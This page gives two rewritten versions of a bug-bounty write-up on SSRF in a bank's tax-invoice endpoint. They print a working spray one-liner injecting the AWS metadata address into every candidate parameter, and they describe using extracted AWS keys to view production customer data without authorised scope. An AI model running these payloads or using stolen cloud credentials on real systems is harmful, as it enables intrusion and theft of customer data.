Skip to content
SSRF Write-up Intermediate

Finding multiple SSRF with aws metadata access on A BANK system

Several subdomains exposed a tax-invoice endpoint that accepted a URL parameter and fetched it server-side, allowing the author to reach the AWS instance metadata service. The author claims to have extracted AWS credentials and used them to access production customer data.

Santosh Kumar Sha Follow

Published on notifybugme.medium.com

My name is Santosh Kumar Sha, I’m a security researcher from India(Assam). In this article, I will be describing How I was able Find multiple SSRF with aws metadata access ON a BANK System and Get access to there production server.

Santosh Kumar Sha(@killmongar1996), on notifybugme.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Santosh Kumar Sha, a security researcher from Assam, India, describes how he found multiple SSRF vulnerabilities with AWS metadata access on a bank system and used them to reach the bank's production server metadata, where customer data was visible. The target is referred to as example.com throughout, because the bank had no responsible disclosure programme and no bug bounty programme. The researcher reports that he submitted 15 SSRF AWS metadata access bugs plus many other critical bugs, and that the bank did not even say thank you.

The feature at the centre of the write-up is an endpoint called getTaxinvoice.jsp, which serves tax invoice data. On the main application it was used by several functions, including product tax invoice and sell tax invoice. The researcher's reasoning was that if one function used this endpoint for tax invoice data, other functions on other subdomains probably did too, and any of them might accept a user-controlled URL.

Setup

The researcher worked without any programme scope, starting from the main domain. The tools listed are:

  1. Subfinder (https://github.com/projectdiscovery/subfinder)
  2. httpx (https://github.com/projectdiscovery/httpx)
  3. gau (Corben) (https://github.com/lc/gau)
  4. waybackurls (tomnomnom) (https://github.com/tomnomnom/waybackurls)

No versions are given. The workflow relies on internet archive data (waybackurls and gau) to enumerate subdomains and URLs, and on Burp for manual testing of the main domain. A wordlist of candidate parameter names is referenced at /root/magicparameter/ssrf.txt.

Finding it

After a couple of hours of manual testing on the main domain with Burp, the researcher noticed the endpoint getTaxinvoice.jsp. It stood out because it handled tax invoice data and was reused by several functions (product tax invoice, sell tax invoice). That reuse suggested that one or more of those functions might pass a user-supplied value into the endpoint in a way that could be abused for SSRF.

Fuzzing the main application for a vulnerable parameter produced no success. Because the endpoint was known to be used by other functions, the researcher decided to collect every URL containing the endpoint from waybackurls, gau and internet archive, and then test the endpoint across all of those paths and subdomains.

Exploitation

Step 1: subdomain and URL collection

The first pass gathered subdomains from internet archives:

Bash
subfinder -d example.com silent
Bash
gau -subs example.com
Bash
waybackurls example.com

To avoid missing subdomains, the researcher piped subfinder into waybackurls so that URLs belonging to every discovered subdomain were also collected. The final collection commands, filtered to URLs containing =, were:

Bash
gau -subs example.com | grep "=" >> vul1.txt
Bash
waybackurls example.com | grep "=" >> vul2.txt
Bash
subfinder -d example.com -silent | gau -subs | grep "=" >> vul3.txt

The grep "=" filter keeps only URLs that carry parameters, which are the interesting ones for parameter-based SSRF. The three files were then merged and de-duplicated:

Bash
cat vul1.txt vul2.txt vul3.txt | sort -u >> unique_sub.txt

Step 2: reducing URLs to endpoint paths

From the unique URL list, the researcher extracted just the path portion, stripping the host and the query string:

Bash
cat unique_sub.txt | sed 's/^.*.com//' | sed 's/?.*//' >> endpoint_path.txt

The first sed removes everything up to and including .com, and the second removes everything from ? onwards. The report gives the shape of the result as paths such as /store/tax and /payment/invoice.

Step 3: appending the known endpoint to every path

Each collected path was then suffixed with the endpoint of interest:

Bash
cat endpoint_path.txt | sed 's/$/\/getTaxinvoice.jsp/'

This produces candidate URLs of the form <path>/getTaxinvoice.jsp across all the subdomains and paths seen in the archives, which is how the researcher expected to reach the other functions that reuse the endpoint.

Step 4: spraying candidate parameter names with an SSRF payload

The candidate URLs were tested against every parameter name in the SSRF wordlist, with the value set to the EC2 instance metadata hostname endpoint:

Bash
xargs -a /root/magicparameter/ssrf.txt -I@ bash -c 'for url in $(cat endpoint_path.txt | sed "s/$/\/getTaxinvoice.jsp/"); do echo "http://$url?@=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data/hostname";done' | httpx -silent -status-code -content-length -extract-regex "[redacted]"

Each wordlist entry is substituted for @ in the query string, so every candidate URL is requested once per parameter name with the value http://[redacted]/latest/meta-data/hostname (URL-encoded). The link-local address [redacted] is the EC2 instance metadata service. httpx sends the requests and extracts anything matching [redacted], which is the suffix of the internal hostname returned by the metadata service, so a hit shows up directly in the output.

This produced 6 more SSRF findings on different subdomains using the same endpoint and path.

Step 5: extracting credentials and reaching production data

With the SSRF confirmed, the researcher extracted the AWS access key and secret from the metadata service. Using those keys, he accessed the production server metadata, where he could see the customer data for the bank. The report describes the data as 100GB of customer high-profile data. The screenshot shows the result of that access.

From the original on notifybugme.medium.com

Step 6: reporting

Reporting was difficult because there was no email address, security disclosure programme or bug bounty programme. The researcher eventually found the security team's email and reported the bug. The next day the head of the security team called to say they would work on fixing it.

Root cause

The report does not show the server-side code, so the exact mistake is not documented. What the behaviour implies is that getTaxinvoice.jsp accepted a user-controlled URL in a request parameter and fetched it server-side without restricting the destination, so the server could be pointed at the link-local metadata address. Because the same endpoint was reused by several functions across subdomains, the same flaw existed in multiple places, which is why the same technique yielded six more findings.

The report does not describe any allowlist, egress filtering or metadata service hardening (such as IMDSv2) that would have stopped the request, so why existing defences did not stop it is not stated.

Impact

Under the conditions described, an attacker who can reach the vulnerable endpoint with the right parameter can make the bank's server issue requests to the EC2 metadata service. That yields the instance's internal hostname, and in this case the AWS access key and secret. With those credentials the researcher reached production server metadata and could see customer data for the bank, described in the report as 100GB of customer high-profile data. The bank's customers would have suffered had the access fallen into the hands of bad actors, which is why the researcher reported the issues despite there being no programme and no reward.

Fix

The security team head said they would work on fixing it, and no further detail on the remediation is given.

Variants to test

  1. Reused endpoints across subdomains: take an endpoint seen on the main application and append it to every path collected from waybackurls and gau, then test each resulting URL. A positive result is a response whose body or extracted regex contains metadata content such as [redacted].
  2. Parameter-name spraying: run the same URL list against a wordlist of parameter names with the metadata hostname as the value. A positive result is any parameter that causes the server to fetch the link-local address.
  3. Archive-derived parameter discovery: filter archived URLs with grep "=" to keep only parameterised URLs, then test those parameters directly. A positive result is a parameter that accepts a full URL and returns content from it.
  4. Metadata path probing: once a parameter is found, request other metadata paths under [redacted] to see how much is reachable. A positive result is any metadata response beyond the hostname, such as credential material.
  5. Credential use: if keys are returned, test them only within the authorised scope of the engagement. A positive result is authenticated access to resources the keys were not meant to expose.

Takeaway

The researcher's point is that many hunters have seen this process, but his approach was to find one interesting endpoint and automate the search for it across every archived path and subdomain, which turned a single lead into multiple vulnerable targets. Bug bounty, in his view, is not always about money: it is also about helping a company fix its bugs, even when the company does not say thank you.

From the original on notifybugme.medium.com

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher from Assam, India, named Santosh Kumar Sha, was looking at a bank's website. He found a page on the bank's server that could be tricked into fetching another address on the bank's behalf. That kind of trick is called SSRF, short for Server-Side Request Forgery. The address he made the server fetch was a special internal address that only machines inside Amazon's cloud can reach, and that address hands out information about the machine. With those keys he reached the bank's production server metadata and could see customer data. He calls the target example.com throughout because the bank had no responsible disclosure programme and no bug bounty programme, so he did not want to name it.

He reports that he submitted 15 SSRF bugs of this kind plus many other critical bugs, and that the bank did not even say thank you. The write-up is about how he turned one interesting page into several working findings by automating the search across everything the internet archives had recorded about the bank's domains.

The feature at the centre of it

The page he noticed is called getTaxinvoice.jsp. A .jsp file is a page that runs on the server and produces a web page, a bit like a form letter that the server fills in before sending it to your browser. This particular page serves tax invoice data. On the main application it was used by several functions, including product tax invoice and sell tax invoice.

His reasoning was simple: if one function used this page to get tax invoice data, other functions on other subdomains probably used it too, and any one of them might accept a web address supplied by the user. If the server then goes and fetches that address, you have SSRF.

A subdomain is a smaller name under a main name. If the main site is example.com, then shop.example.com and pay.example.com are subdomains. Banks usually have many, one per service.

The tools he used

He worked without any programme scope, starting from the main domain. The tools listed are:

  1. Subfinder (https://github.com/projectdiscovery/subfinder)
  2. httpx (https://github.com/projectdiscovery/httpx)
  3. gau (Corben) (https://github.com/lc/gau)
  4. waybackurls (tomnomnom) (https://github.com/tomnomnom/waybackurls)

No versions are given. In plain terms:

  • Subfinder finds subdomains for a domain name by asking public sources.
  • gau and waybackurls pull old URLs out of internet archives. The internet archive is a public record of pages that have been seen on the web over the years, like an old newspaper collection for websites. Even pages that no longer exist are often still listed there.
  • httpx sends web requests to a list of addresses and reports what came back, such as the status code and the size of the response.
  • Burp is a tool that sits between your browser and a website so you can look at and change every request by hand. He used it for manual testing of the main domain.

He also references a wordlist of candidate parameter names at /root/magicparameter/ssrf.txt. A parameter is the part of a web address after the ? that carries a name and a value, like ?colour=blue. A wordlist is just a text file with one candidate name per line.

Finding it

After a couple of hours of manual testing on the main domain with Burp, he noticed the endpoint getTaxinvoice.jsp. It stood out because it handled tax invoice data and was reused by several functions (product tax invoice, sell tax invoice). That reuse suggested that one or more of those functions might pass a user-supplied value into the page in a way that could be abused for SSRF.

Fuzzing the main application for a vulnerable parameter produced no success. Fuzzing means trying many variations automatically to see which one behaves differently. Because the page was known to be used by other functions, he decided to collect every URL containing the page from waybackurls, gau and internet archive, and then test the page across all of those paths and subdomains.

Exploitation

Step 1: subdomain and URL collection

The first pass gathered subdomains from internet archives:

Bash
subfinder -d example.com silent
Bash
gau -subs example.com
Bash
waybackurls example.com

Line by line:

  • subfinder -d example.com silent asks Subfinder to list subdomains of example.com. The silent part keeps the output to just the names, without banners or extra noise.
  • gau -subs example.com asks gau to fetch known URLs for example.com and its subdomains (-subs means include subdomains).
  • waybackurls example.com does the same kind of job with a different tool, pulling URLs from the archive for the domain.

To avoid missing subdomains, he piped subfinder into waybackurls so that URLs belonging to every discovered subdomain were also collected. A pipe, the | symbol, means take the output of the command on the left and feed it as input to the command on the right, like passing a bucket down a line. The final collection commands, filtered to URLs containing =, were:

Bash
gau -subs example.com | grep "=" >> vul1.txt
Bash
waybackurls example.com |grep "=" >> vul2.txt
Bash
subfinder -d example.com -silent | gau -subs | grep "=" >> vul3.txt

Line by line:

  • gau -subs example.com | grep "=" >> vul1.txt gets archived URLs, keeps only the lines that contain an equals sign, and appends them to a file called vul1.txt. The >> means append to the file rather than overwrite it.
  • waybackurls example.com |grep "=" >> vul2.txt does the same with the other archive tool and writes to vul2.txt.
  • subfinder -d example.com -silent | gau -subs | grep "=" >> vul3.txt first lists subdomains, then feeds those names into gau so it fetches archived URLs for each subdomain, then keeps only lines with an equals sign and appends them to vul3.txt.

The grep "=" filter keeps only URLs that carry parameters, which are the interesting ones for parameter-based SSRF. A URL without a parameter has nothing for you to control, so there is nothing to test. The three files were then merged and de-duplicated:

Bash
cat vul1.txt vul2.txt vul3.txt | sort -u >> unique_sub.txt

Line by line:

  • cat vul1.txt vul2.txt vul3.txt prints the contents of all three files one after another.
  • sort -u sorts the lines and removes duplicates (-u means unique).
  • >> unique_sub.txt appends the result to a new file called unique_sub.txt.

Step 2: reducing URLs to endpoint paths

From the unique URL list, he extracted just the path portion, stripping the host and the query string:

Bash
cat unique_sub.txt | sed 's/^.*.com//' | sed 's/?.*//' >> endpoint_path.txt

Line by line:

  • cat unique_sub.txt prints the list of unique URLs.
  • sed 's/^.*.com//' is a find-and-replace. It removes everything from the start of the line up to and including .com, leaving what comes after the domain.
  • sed 's/?.*//' removes everything from the ? onwards, which is the query string.
  • >> endpoint_path.txt appends the result to a file.

The report gives the shape of the result as paths such as /store/tax and /payment/invoice. In other words, he now had a list of the paths that exist on the site, without the domain and without the parameters.

Step 3: appending the known endpoint to every path

Each collected path was then suffixed with the page of interest:

Bash
cat endpoint_path.txt | sed 's/$/\/getTaxinvoice.jsp/'

Line by line:

  • cat endpoint_path.txt prints the list of paths.
  • sed 's/$/\/getTaxinvoice.jsp/' replaces the end of each line ($ means end of line) with /getTaxinvoice.jsp. The backslash before the slash is there because the slash is also the separator used by sed, so it has to be escaped.

This produces candidate URLs of the form <path>/getTaxinvoice.jsp across all the subdomains and paths seen in the archives, which is how he expected to reach the other functions that reuse the page.

Step 4: spraying candidate parameter names with an SSRF payload

The candidate URLs were tested against every parameter name in the SSRF wordlist, with the value set to the EC2 instance metadata hostname endpoint:

Bash
xargs -a /root/magicparameter/ssrf.txt -I@ bash -c 'for url in $(cat endpoint_path.txt | sed "s/$/\/getTaxinvoice.jsp/"); do echo "http://$url?@=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data/hostname";done' | httpx -silent -status-code -content-length -extract-regex "[redacted]"

Line by line:

  • xargs -a /root/magicparameter/ssrf.txt -I@ reads the wordlist file and, for each line, runs the following command with @ replaced by that line. So if the wordlist contains a name like url, the command runs once with @ set to url, then again with the next name, and so on.
  • bash -c '...' runs the quoted script for each of those names.
  • for url in $(cat endpoint_path.txt | sed "s/$/\/getTaxinvoice.jsp/"); do ... done loops over every path, appends /getTaxinvoice.jsp to it, and runs the body once per resulting URL.
  • echo "http://$url?@=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data/hostname" prints a full URL: the candidate path, then a ?, then the parameter name (the current wordlist entry), then =, then the value. The value is http://[redacted]/latest/meta-data/hostname written in URL-encoded form, where %3A is a colon and %2F is a slash. Encoding matters because a raw : and / inside a parameter value can confuse parsers.
  • | httpx -silent -status-code -content-length -extract-regex "[redacted]" sends each printed URL with httpx. -silent keeps the output clean, -status-code and -content-length report the response code and size, and -extract-regex "[redacted]" pulls out anything in the response that matches that text.

Why this works: [redacted] is a special address that only the machine itself can reach. In Amazon's cloud it is the metadata service, a small internal service that answers questions about the machine it runs on. One of the things it can return is the machine's internal hostname, which ends in [redacted]. If the bank's server fetches the address for you and the answer comes back, the extracted text shows up in the output. That is the signal that the server made the request on your behalf.

This produced 6 more SSRF findings on different subdomains using the same page and path.

Step 5: extracting credentials and reaching production data

With the SSRF confirmed, he extracted the AWS access key and secret from the metadata service. An access key and secret are like a username and password for a cloud account: whoever holds them can act as that account. Using those keys, he accessed the production server metadata, where he could see the customer data for the bank. The report describes the data as 100GB of customer high-profile data. The screenshot shows the result of that access.

From the original on notifybugme.medium.com

Step 6: reporting

Reporting was difficult because there was no email address, security disclosure programme or bug bounty programme. A responsible disclosure programme is a published way for outsiders to report security problems safely; a bug bounty programme pays for such reports. He eventually found the security team's email and reported the bug. The next day the head of the security team called to say they would work on fixing it.

Why it worked

The report does not show the server-side code, so the exact mistake is not documented. What the behaviour implies is that getTaxinvoice.jsp accepted a web address in a request parameter and fetched it server-side without restricting where it could go, so the server could be pointed at the internal metadata address. Because the same page was reused by several functions across subdomains, the same flaw existed in multiple places, which is why the same technique yielded six more findings.

The report does not describe any allowlist, egress filtering or metadata service hardening (such as IMDSv2) that would have stopped the request, so why existing defences did not stop it is not stated. An allowlist would be a list of addresses the server is permitted to fetch; egress filtering would block outbound traffic to internal addresses; IMDSv2 is a newer version of the metadata service that requires a session token before answering.

What it means

Under the conditions described, someone who can reach the vulnerable page with the right parameter can make the bank's server issue requests to the metadata service. That yields the machine's internal hostname, and in this case the AWS access key and secret. With those credentials he reached production server metadata and could see customer data for the bank, described in the report as 100GB of customer high-profile data. The bank's customers would have suffered had the access fallen into the hands of bad actors, which is why he reported the issues despite there being no programme and no reward.

What was fixed

The security team head said they would work on fixing it, and no further detail on the remediation is given.

Things to try on your own targets

  1. Reused pages across subdomains: take a page seen on the main application and append it to every path collected from waybackurls and gau, then test each resulting URL. A positive result is a response whose body or extracted text contains metadata content such as [redacted].
  2. Parameter-name spraying: run the same URL list against a wordlist of parameter names with the metadata hostname as the value. A positive result is any parameter that causes the server to fetch the internal address.
  3. Archive-derived parameter discovery: filter archived URLs with grep "=" to keep only parameterised URLs, then test those parameters directly. A positive result is a parameter that accepts a full web address and returns content from it.
  4. Metadata path probing: once a parameter is found, request other metadata paths under [redacted] to see how much is reachable. A positive result is any metadata response beyond the hostname, such as credential material.
  5. Credential use: if keys are returned, test them only within the authorised scope of the engagement. A positive result is authenticated access to resources the keys were not meant to expose.

Takeaway

His point is that many hunters have seen this process, but his approach was to find one interesting page and automate the search for it across every archived path and subdomain, which turned a single lead into multiple vulnerable targets. Bug bounty, in his view, is not always about money: it is also about helping a company fix its bugs, even when the company does not say thank you.

From the original on notifybugme.medium.com

Glossary

  • SSRF (Server-Side Request Forgery): a flaw where a server can be made to fetch a web address chosen by the user, instead of only addresses it should use.
  • Endpoint: a specific page or address on a server that performs a function, such as getTaxinvoice.jsp.
  • Subdomain: a smaller name under a main domain, such as shop.example.com under example.com.
  • Parameter: the name and value part of a web address after the ?, like ?colour=blue.
  • Query string: everything in a web address from the ? onwards.
  • Wordlist: a text file with one candidate value per line, used to try many options automatically.
  • Fuzzing: trying many variations automatically to see which one behaves differently.
  • Internet archive: a public record of pages and URLs seen on the web over time.
  • Pipe (|): passing the output of one command as input to the next.
  • sed: a command-line tool that finds and replaces text.
  • grep: a command-line tool that keeps only lines matching a pattern.
  • xargs: a command-line tool that runs a command once per line of input, substituting the line where you put a placeholder.
  • httpx: a tool that sends web requests to a list of addresses and reports the responses.
  • Burp: a tool that sits between your browser and a website so you can inspect and change requests by hand.
  • Metadata service: an internal service in cloud platforms that answers questions about the machine it runs on, reachable at [redacted] in Amazon's cloud.
  • Link-local address: an address that only works on the local network segment, not across the internet.
  • AWS access key and secret: a pair of credentials, like a username and password, that grant access to a cloud account.
  • Production server: the live machine that serves real customers, as opposed to a test machine.
  • Responsible disclosure programme: a published way for outsiders to report security problems safely.
  • Bug bounty programme: a programme that pays researchers for valid security reports.
  • Allowlist: a list of things that are explicitly permitted, such as addresses a server may fetch.
  • Egress filtering: blocking or restricting outbound traffic from a server.
  • IMDSv2: a newer version of the cloud metadata service that requires a session token before answering.
  • URL encoding: writing special characters in a web address in a safe form, such as %3A for a colon and %2F for a slash.

More by Santosh Kumar Sha

View all

16 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.